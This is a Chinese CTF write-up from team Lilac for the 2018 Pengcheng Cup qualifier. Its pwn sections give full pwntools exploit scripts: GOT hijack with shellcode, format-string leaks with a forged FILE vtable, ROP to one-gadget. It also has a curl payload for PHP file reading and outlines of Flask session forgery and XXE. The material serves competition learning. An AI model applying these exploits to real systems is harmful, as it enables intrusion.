2018鹏城杯 初赛 Writeup by Lilac
Lilac CTF 12443浏览 · 2018-12-03 01:10

2018鹏城杯 初赛 Writeup By Lilac

招一位web安全人员交流玩耍, 有意联系 echo -n N2ZlaWxlZUBnbWFpbC5jb20= | base64 -d

PWN

note

add note的功能存在溢出可以覆盖索引数组的下标为负数,可以hijack got表,这里选了close@got,NX关了可以在堆上执行shellcode,用jmp指令连接起来就行

from pwn import *

def add(index,length,content):
    p.sendline("1")
    sleep(0.5)
    p.sendline(str(index))
    sleep(0.5)
    p.sendline(length)
    sleep(0.5)
    p.sendline(content)
    sleep(0.5)

#p = process("./note")
p = remote("58.20.46.151",41214)

add(0,"13" + "\x00"*8 + p32(0xfffffff3), 'H1\xd2\x90\x90P\xeb\x18')
add(0,"13",'H\x8d=9\x00\x00\x00\xeb\x17')
add(0,"13", '^\xb0;\x0f\x05')
add(0,"13","/bin/sh")
p.sendline("2")
p.interactive()

random

printf_chk可以用来leak libc、elfbase、heap。fopen会在堆上分配空间存放io file结构体,fclose以后指针没有清空存在uaf,scanf("%1000s",)会先分配一个大堆来存放输入,利用uaf可以在原来的file结构体上伪造一个新的结构体,设置好vtable在fread的时候拿shell

from pwn import *
import struct

_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
    return struct.unpack("<Q",data)[0]

def _u32(data):
    return struct.unpack("<I",data)[0]

def _u16(data):
    return struct.unpack("<H",data)[0]

def _u8(data):
    return ord(data)

def _usz(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _ua(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _p64(data):
    return struct.pack("<Q",data)

def _p32(data):
    return struct.pack("<I",data)

def _p16(data):
    return struct.pack("<H",data)

def _p8(data):
    return chr(data)

def _psz(data):
    if _BITS == 32:
        return _p32(data)
    elif _BITS == 64:
        return _p64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _pa(data):
    if _BITS == 32:
        return struct.pack("<I", data)
    elif _BITS == 64:
        return struct.pack("<Q", data)
    else:
        print("[-] Invalid _BITS")
        exit()

class _IO_FILE_plus:
    def __init__(self):
        self._flags = 0xfbad2887         # High-order word is _IO_MAGIC; rest is flags.
        self._IO_read_ptr = 0   # Current read pointer
        self._IO_read_end = 0   # End of get area
        self._IO_read_base = 0  # Start of putback+get area
        self._IO_write_base = 0 # Start of put area
        self._IO_write_ptr = 0  # Current put pointer
        self._IO_write_end = 0  # End of put area
        self._IO_buf_base = 0   # Start of reserve area
        self._IO_buf_end = 0    # End of reserve area

        # The following fields are used to support backing up and undo.
        self._IO_save_base = 0      # Pointer to start of non-current get area
        self._IO_backup_base = 0    # Pointer to first valid character of backup area
        self._IO_save_end = 0       # Pointer to end of non-current get area

        self._markers = 0
        self._chain = 0

        self._fileno = 0
        self._flags2 = 0
        self._old_offset = 0    # This used to be _offset but it's too small

        # 1+column number of pbase(); 0 is unknown
        self._cur_column = 0
        self._vtable_offset = 0
        self._shortbuf = 0

        self._lock = 0

        if not _IO_USE_OLD_IO_FILE:
            self._offset = 0
            self._codecvt = 0
            self._wide_data = 0
            self._freeres_list = 0
            self._freeres_buf = 0
            self.__pad5 = 0
            self._mode = 0
            self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
        self.vtable = 0

    def tostr(self):
        buf = _p64(self._flags & 0xffffffff) + \
            _pa(self._IO_read_ptr) + \
            _pa(self._IO_read_end) + \
            _pa(self._IO_read_base) + \
            _pa(self._IO_write_base) + \
            _pa(self._IO_write_ptr) + \
            _pa(self._IO_write_end) + \
            _pa(self._IO_buf_base) + \
            _pa(self._IO_buf_end) + \
            _pa(self._IO_save_base) + \
            _pa(self._IO_backup_base) + \
            _pa(self._IO_save_end) + \
            _pa(self._markers) + \
            _pa(self._chain) + \
            _p32(self._fileno) + \
            _p32(self._flags2) + \
            _p64(self._old_offset) + \
            _p16(self._cur_column) + \
            _p8(self._vtable_offset) + \
            _p8(self._shortbuf)
        if _BITS == 64:
            buf += _p32(0)
        buf += _pa(self._lock)
        if not _IO_USE_OLD_IO_FILE:
            buf += \
            _p64(self._offset) + \
            _pa(self._codecvt) + \
            _pa(self._wide_data) + \
            _pa(self._freeres_list) + \
            _pa(self._freeres_buf) + \
            _psz(self.__pad5) + \
            _p32(self._mode) + \
            ''.join(map(lambda x:_p8(x), self._unused2)) +\
            _pa(self.vtable)
        return buf

    def __str__(self):
        return self.tostr()

def c1():
    p.sendline("1")
    sleep(0.5)

def c2(payload="1"):
    p.sendline("2")
    sleep(0.5)
    p.sendline(payload)
    sleep(0.5)
    p.sendline("0")
    sleep(0.5)

def c3():
    p.sendline("3")
    sleep(0.5)


#p = process("./random")#,env = {"LD_PRELOAD": "./libc.so"})
p = remote("58.20.46.151",41963)
libc = ELF("./libc.so")
c1()
c3()
payload = "%p"*393 + "hello1" + "%p" *12 + "hello2" + "%p"
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("hello1")
addr1 = int(p.recv(14),16)
p.recvuntil("hello2")
addr2 = int(p.recv(14),16)

elf = addr1 - 0x2020B0
libc.address = addr2 - 0x20830
print hex(elf),hex(libc.address)

one = 0xf1147 + libc.address

payload = "%p%p%p%p%p%p%p%p%p1111%s" + p64(elf + 0x2020A0)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("1111")
heap = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap)
print "one: " + hex(one)
file = _IO_FILE_plus()
file._lock = heap+0x2000
file.vtable = heap + 0xe0
fake = file.tostr()
vtable = p64(0x00) + p64(one)*0x20
#print fake
p.sendline(fake+vtable)
sleep(0.3)
p.sendline("0")
#gdb.attach(p)
p.interactive()

treasure

程序允许输入9字节的shellcode,可以构造一个read系统调用输入新的shellcode覆盖原来的shellcode来拿shell

from pwn import *

context.arch = "amd64"
#p = process("./treasure")
p = remote("58.20.46.148",44112)

s = asm(
'''
    push rsi
    push rdx
    pop rsi
    pop rdx
    xor rdi,rdi
    syscall
'''
)

p.sendlineafter("will you continue?(enter 'n' to quit) :","1")

p.sendafter("start!!!!",s)
nop = asm("nop")
p.sendline(nop*20 + asm(shellcraft.sh()))
p.interactive()

code

首先需要过check, 暴力跑出一个可行解就行了

#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char char_set[] = "sABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char key[8];
unsigned long long val = 0;


void inc_key(){
    unsigned long long temp = val;
    for(int i=0; i<8; ++i){
        unsigned int cur_idx = temp % 53;
        key[i] = *(char *)(char_set + cur_idx);
        temp = temp / 53;
    }
    val++;
}

long long hash(){
  int64_t v0; // ST08_8
  int v2; // [rsp+10h] [rbp-10h]
  int i; // [rsp+14h] [rbp-Ch]
  int64_t v4; // [rsp+18h] [rbp-8h]

  v4 = 0LL;
  v2 = strlen(key);
  for ( i = 0; i < v2; ++i )
  {
    v0 = 117 * v4 + key[i];
    v4 = v0
       - 0x1D5E0C579E0LL
       * (((long long)(((__uint128_t)(-8396547321047930811LL * v0) >> 64) + v0) >> 40)
        - (v0 >> 63));
  }
  return v4;
}

int main(){
    char_set[0] = '\x00';
    long long ret;
    int iter =0;
    unsigned long long total = 53^8;
    while(key[8] != 'z' ){
        iter++;
        // puts(key);
        if ( hash() == 0x53CBEB035LL ){
            break;
        }
        inc_key();
    }
    if(key[8] == 0xff){
        puts("no result");
    }
    puts(key);
    return 0;
}

然后就是简单的栈溢出rop, 先leak puts 的地址, 然后再跳到one gadget即可

from pwn import *
import time

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'


ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda   : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)


ip = "58.20.46.148"
port = 38733

LOCAL = False
X86_32 = False


break_points = [0x4008AB]

b_str = ''
for break_point in break_points:
        b_str += "b *" + hex(break_point ) + '\n'

# libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc
elf = ELF("./"+filename)

if LOCAL:
    io = process("./" + filename)
    libc = elf.libc
else:
    io = remote(ip, port)
    libc = ELF('libc.so.6')

def wait(t=0.3):
    sleep(t)

def mydebug():
  gdb.attach(io, b_str)

key = "wyBTs"
PrdiR = 0x400983
got_puts = 0x601018
puts_off = libc.symbols['puts']

payload = 'a'*0x70 + p64(got_puts+0x70) + p64(PrdiR) + p64(got_puts) + p64(0x40082d)
wait()
sl(key)
wait()
sl(payload)
ru('Success\n')
res = rl()[0:6]
puts_addr = u64(res+'\x00\x00')
log.info('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - puts_off
log.info('libc base: '+hex(libc_base))

one = libc_base + 0x4526a

wait()
sl(p64(one))

io.interactive()

OverInt

首先也是过两个check, 利用存在的整形溢出很好构造. 然后就可以任意地址写了.
第一次先同时leak puts 和 setbuf的地址, 然后算出libc.
第二次根据libc和leak的地址算出one gadget的地址, 跳到 one gadget即可
首先是计算绕过check的输入

#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>


int target = 0x23;


int func(int v3, int i){
    return ((i>>4) + v3*4) ^ (i<<10);
}
int main(){
    int down = 0x21;
    int up = 127;
    for(char i=down; i<up; ++i){
        for(char j=down; j<up; ++j){
            for(char k=down; k<up; ++k){
                for(char l=128; l<255; ++l){
                    int v3 = 0;
                    v3 = func(v3, (int)i);
                    v3 = func(v3, (int)j);
                    v3 = func(v3, (int)k);
                    v3 = func(v3, (int)l);
                    int ret = v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);
                    if(ret == target){
                        printf("%d %d %d %x\n", i, j, k, l);
                        return 0;
                    }
                }
            }
        }
    }
    puts("no result");
    return 0;
}

然后getshell

from pwn import *
import time

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'info'

ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda   : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)



filename = "./overInt"
ip = "58.20.46.149"
port = 35533

LOCAL = True
X86_32 = False


break_points = [0x0400913, 0x4009AC, 0x400AA6]

b_str = ''
for break_point in break_points:
        b_str += "b *" + hex(break_point ) + '\n'

io = remote("58.20.46.149", 35533)
# io = process("./overInt")


def wait(t=0.3):
    sleep(t)

def mydebug():
  if(not LOCAL):
    return
  gdb.attach(io, b_str)


def func(v3, i):
  return ((i>>4) + (v3*4)) ^ (i << 10)
key_target = 0x23
def get_key():
  for i in range(ord('!'), ord('~')+1):
    for j in range(ord('!'), ord('~')+1):
      for k in range(ord('!'), ord('~')+1):
        for l in range(ord('!'), ord('~')+1):
          print('...')
          v3 = 0
          v3 = func(v3, i)
          v3 = func(v3, j)
          v3 = func(v3, k)
          v3 = func(v3, l)
          ret = v3%47
          if(v3 == 0x23):
            # print('target is %d %d %d %d'%(i, j, k, l))
            target = [i, j, k, l]
            print(''.join([chr(v) for v in target]))
            return

key = '!'*3+'\x95'
target = 0x20633372
PrdiR = 0x400b13
got_puts =   0x602018
got_setbuf = 0x602020
got_printf = 0x602028
# puts = 0x4008F7
puts = 0x4009AC
main = 0x40087F

plt_puts = 0x400550

def leak_addr(addr):
  pass_check()
  sn(p32(32))
  payload  = p64(PrdiR) + p64(addr) + p64(plt_puts) + p64(main)
  for i in range(0, 32):
    sn(p32(0x38+i))
    sn(payload[i])
  ru("hello!")
  wait()
  res = rl()[0:6]
  log.debug(repr(res))
  addr = u64(res+'\x00\x00')
  log.info('addr: ' + hex(addr))
  return addr
  # sn(p32(24))

def get_libc():
  addr1 = leak_addr(got_puts)
  log.info('puts:' + hex(addr1))
  wait()
  addr2 = leak_addr(got_setbuf)
  log.info('setbuf:'+hex(addr2))
  wait()

puts_off = 0x6f690
one_off = 0x45216
def get_shell():
    puts_addr = leak_addr(got_puts)
    libc_base = puts_addr - puts_off
    log.info('libc base:' + hex(libc_base))

    pass_check()
    sn(p32(32))
    payload  = p64(PrdiR) + p64(0) + p64(libc_base+one_off) + p64(main)
    for i in range(0, 32):
      sn(p32(0x38+i))
      sn(payload[i])
    ru("hello!")
    wait()
    res = rl()[0:6]
    log.debug(repr(res))
    addr = u64(res+'\x00\x00')
    log.info('addr: ' + hex(addr))
    return addr


def pass_check():
  # ru('Please set arrary number: ')
  sleep(0.1)
  sn(key)
  ru('How many numbers do you have?')
  sn(p32(5))
  ru('the number')
  sn(p32(target))
  for i in range(0, 4):
    ru('the number')
    sn(p32(0))
  ru("How many positions you want to modify?")


if __name__ == '__main__':
  # mydebug()
  get_shell()
  # get_libc()
  # sn(p32())
  # pass
  # get_key()

WEB

Three body 1

  1. 下载 /flag.txt 得到 flag

Myblog

  1. PHP 本地文件包含导致任意文件读取
  2. 通过扫描发现存在 YWJvdXQ=.php
  3. 读取该文件
  4. /index.php?flag=php://filter/convert.base64-encode/resource=YWJvdXQ%3D
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);

if(isset($sign)){
    $file = trim(file_get_contents($filename));
    if($sign === $file){
        echo 'Congratulation!<br>';
        echo file_get_contents($$falg);
    }
    else{
        echo 'don`t give up';
    }
}
  1. 绕过即可读取 flag.txt
platypus@platypus:~$ curl 'http://58.20.46.148:26111/YWJvdXQ=.php?sign=&filename=php://input&falg=f&f=flag.txt'
Congratulation!<br>flag{nev1r_g1ve_8p_aer}

Shadow

  1. 读取 Flask config 得到 SECRET_KEY
  2. 发现客户端 SESSION 中存在字段 is_admin
  3. 通过 Flask 伪造 SESSION 修改 is_admin
  4. 上传 XML 文件利用 XXE 读取 Flag

REV

happy

程序打开一看肯定是动态解密代码的,用strace试了一下没有strace反调,没有的话用gdb动态调试。用catch syscall write来捕获write调用,找到代码解密后的位置之后dump分析之。
发现加密过程有点像DES,在内存中得感觉像是SBOX的数组,搜一下果然是DES的SBOX,先解一下看。

from Crypto.Cipher import DES

dest = [39L, 66L, 172L, 166L, 75L, 144L, 164L, 125L, 71L, 64L, 204L, 69L, 127L, 161L, 44L, 188L, 131L, 82L, 94L, 81L, 96L, 249L, 238L, 79L, 61L, 104L, 221L, 222L, 232L, 116L, 250L, 26L, 83L, 34L, 91L, 19L, 199L, 229L, 122L, 94L, 88L, 128L, 176L, 101L, 153L, 241L, 91L, 79L]

key="hAppysad"
des = DES.DESCipher(key)
print des.decrypt(''.join(map(chr, dest)))

其中的key在dump中的程序找不到,但可以在调试时得到。
解出flag:

flow

pyexe的逆向,用unpy2exe得到pyc文件后用uncompyle6得到源代码。源代码被混淆过,手动重命名去混淆得到如下的代码

import sys, os, hashlib, time, base64, random, itertools
from flag import flag
from pwn import *

class Cipher:

    def __init__(self, public=None, lenth=16):
        self.lenth = lenth
        self.public = public
        val = hashlib.md5(self.public.encode('utf-8')).hexdigest()
        self.vala = hashlib.md5(val[0:16].encode('utf-8')).hexdigest()
        self.valb = hashlib.md5(val[16:32].encode('utf-8')).hexdigest()
        self.valc = ''

    def encode(self, string):
        self.valc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - self.lenth:32]
        string = '0000000000' + hashlib.md5((string + self.valb).encode('utf-8')).hexdigest()[0:16] + string
        self.result = ''
        self.docrypt(string)
        return str(self.valc + base64.b64encode(self.result))

    def docrypt(self, string):
        string_lenth = len(string)
        self.result = ''
        sbox = list(range(256))
        randval = []
        cryptval = self.vala + hashlib.md5((self.vala + self.valc).encode('utf-8')).hexdigest()
        val_lenth = len(cryptval)
        for i in range(255):
            randval.append(ord(cryptval[i % val_lenth]))

        for i in range(255):
            sidx = 0
            sidx = (sidx + sbox[i] + randval[i]) % 256
            tmp = sbox[i]
            sbox[i] = sbox[sidx]
            sbox[sidx] = tmp

        for i in range(string_lenth):
            j = sidx = 0
            j = (j + 1) % 256
            sidx = (sidx + sbox[j]) % 256
            tmp = sbox[j]
            sbox[j] = sbox[sidx]
            sbox[sidx] = tmp
            self.result += chr(ord(string[i]) ^ sbox[(sbox[j] + sbox[sidx]) % 256])


def block_chng(block):
    W = 4
    perm = range(W)
    random.shuffle(perm)
    while len(block) % (2 * W):
        block += '.'

    for i in xrange(100):
        block = block[1:] + block[:1]
        block = block[0::2] + block[1::2]
        block = block[1:] + block[:1]
        res = ''
        for sidx in xrange(0, len(block), W):
            for lsboxl in xrange(W):
                res += block[sidx:sidx + W][perm[lsboxl]]

        block = res

    return block

if __name__ == '__main__':
    rc = Cipher('sdfgowormznsjx9ooxxx')
    string = '1234'
    string = block_chng(string)
    st = rc.encode(string)
    print st

连接服务器拿到密文后使用密文进行解密,解密难度不大,最后一步参考了这篇文章
最终写出解密脚本

import sys, os, hashlib, time, base64, random, itertools
import random
import itertools
from CaR import *

enc = '0036dbd8313ed055NJD5H1Ufzl75Uffc1cp9LhnZx9Ydj6VpRRfquCuDqt9x3ku7ovvsgE3WdikR1I8T08N+dIoyipit+q/lALO35Pww'
enc = base64.b64decode(enc[16:])
rc = Cipher('sdfgowormznsjx9ooxxx')
rc.valc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - 16:32]
rc.docrypt(enc)
msg2 = rc.result[26:]

# msg2 = 'd73g.669l78fce0114217d}fa91a7e754.fff{12'
for perm in itertools.permutations(range(4)):
    msg = msg2
    for i in xrange(100):
        msg = msg[1:] + msg[:1]
        msg = msg[0::2] + msg[1::2]
        msg = msg[1:] + msg[:1]
        res = ""
        for j in xrange(0, len(msg), 4):
            for k in xrange(4):
                res += msg[j:j+4][perm[k]]
        msg = res
        if "flag" in msg:
            print(msg)

得到flag

ctopia

本题的游戏还不错,一开始先运行游戏玩了一下,在第一幕结束的时候显示Decrypt Process 0%。然后开始分析程序。
题目很善良,所有调试信息都保留了,可以在mainloop中找到解密的逻辑,当游戏达到某些条件时,游戏会释放一部分key,调用Key::writekey函数将key写入resource/secret/secret.key文件中,然后调用解密。因此直接在调试的时候手动调用writekye(1), writekye(2), writekye(3), writekye(4)和FinalDecrypt就可以得到flag

badlock

题目使用C++实现了一个虚拟机,相对于用C实现的虚拟机, 分析起来会费劲一些。
分析每一条指令,写出反汇编器如下

#-*- coding: utf-8
# stack is code in fact
# val_r2_stack is ip address
stack = [8, 0, 20, 8, 1, 0, 8, 2, 1, 8, 7, 9, 8, 8, 0, 8, 9, 0, 1, 9, 8, 1, 8, 2, 3, 7, 8, 516, 65532, 0, 5, 3, 9, 3, 1, 0, 260, 10, 0, 5, 4, 1, 1, 4, 3, 1, 4, 4, 10, 5, 1, 12, 5, 4, 11, 6, 1, 1, 1, 2, 3, 6, 5, 260, 65525, 0, 516, 1, 0, 255, 0, 0, 9, 0, 0, 255, 0, 0, 0]

inst = {
    1: "add",
    2: "sub",
    3: "cmp_mem_z1_nz2",
    4: "add_val_r2_stack",
    5: "mov",
    6: "store_val_r2_stack",
    7: "load_val_r2_stack",
    8: "movi",
    9: "write_err",
    10: "mov_p2m",
    11: "mov_k2m",
    12: "xor",
    13: "check_reg",
    255: "exit"
}

flag = 0
for i in range(0, len(stack), 3):
    if i+2 >= len(stack):
        break
    opcode = stack[i]
    op1 = stack[i+1]
    op2 = stack[i+2]
    if not inst.has_key(opcode):
        cond = opcode >> 8
        opcode &= 0xff
    else:
        cond = 0
    if cond:
        print(cond)
    print("0x%02x: %s 0x%x, 0x%x" % (i, inst[opcode], op1, op2))

虽然反汇编的效果一般,但是加密逻辑很简单,可以据此写出注册机如下

key = [46L, 38L, 45L, 41L, 77L, 103L, 5L, 68L, 26L, 14L, 127L, 127L, 125L, 101L, 119L, 36L, 26L, 93L, 51L, 81L]

acc = 36
res = []
for i in range(20):
    res.append(((i + acc) * 2) ^ key[i])
for j in range(4):
    for i in range(19, 0, -1):
        res[i] ^= res[i-1]
print ''.join(map(chr, res))

运行结果如下

CRYPTO

easyCrypto

这里的加密方法有点类似最近比赛的一道密码题,不过 prev_pt,prev_ct都是iv,没有变换,直接利用解密脚本.

flag:pcbctf{345f3_asss3_loasd_aswew}

MixMix

程序是rsa加密,其中e=3,返回密文和一半长度的d,其中d通过xor变换加密了,xor的密钥是伪随机出来的random.getrandbits(1024)这里提供了624个之前的随机数,可以预测出伪随机的状态,从而得到xor的密钥,得到d的低位,由于e*d+1==k*phi,用n代替phi则0<k<3,从而近似得到d的高位为(2*n+1)/e或者(n+1)/e,这里得到的高位的最后两个字节不对,爆破了高位最后两字节,最终解出rsa.

解密cipher2脚本:

def pad_128(m):
    assert len(m)<=128
    if len(m)==127:
        return '\x00'+m
    if len(m)==128:
        return m
    assert False
def singleround(m):
    L=bytes_to_long(m[0:128])
    R=bytes_to_long(m[128:256])
    nL=R
    nR=L^BOX[R%32]
    return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def desingleround(m):
    L=bytes_to_long(m[0:128])
    R=bytes_to_long(m[128:256])
    nR=L
    nL=R^BOX[L%32]
    return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def cipher2(m):
    xxx=m
    for i in range(32):
        xxx=singleround(xxx)
    return xxx
def decipher2(m):
    xxx=m
    for i in range(32):
        xxx=desingleround(xxx)
    return xxx

flag{m1x_flag_for_alot_of_challenges_rsa_block_stream_ctf}

签名伪造

这题本身是个ElGamal forge题目,出题人疏忽,可是题目的s2h函数有漏洞,可以直接伪造admin用户,从而拿到(r,s),得到admin凭证,从而获取flag.
漏洞函数def s2h(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s]),这个可以将字符通过的replace('0x', '')连接起来可以很轻松绕过admin的判断,比如传入admi\x06\x0e,则经过s2h函数,则将6e连接起来了.

flag:flag{25478-92GSEF-jsaafa-I85266}

MISC

Welcome

flag{ausjnhjajfjakjw45}

Traffic Light

gif一共一千多帧,通过红灯绿灯黄灯分割,其中红灯为1,路灯为0,黄灯为每个字符的分隔符.先online分割gif,然后python处理.

得到flag:flag{Pl34s3_p4y_4tt3nt10n_t0_tr4ff1c_s4f3ty_wh3n_y0u_4r3_0uts1d3}

Quotes

密文 My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w ith+s ome+pass i on+some+compass ion+so me+humor+and+some+style 通过空格分割,每串字符串的字符个数是字母[a-z]的索引,统计个数,得到:wordgames

最终尝试:flag{word games}

4 条评论
某人
表情
可输入 255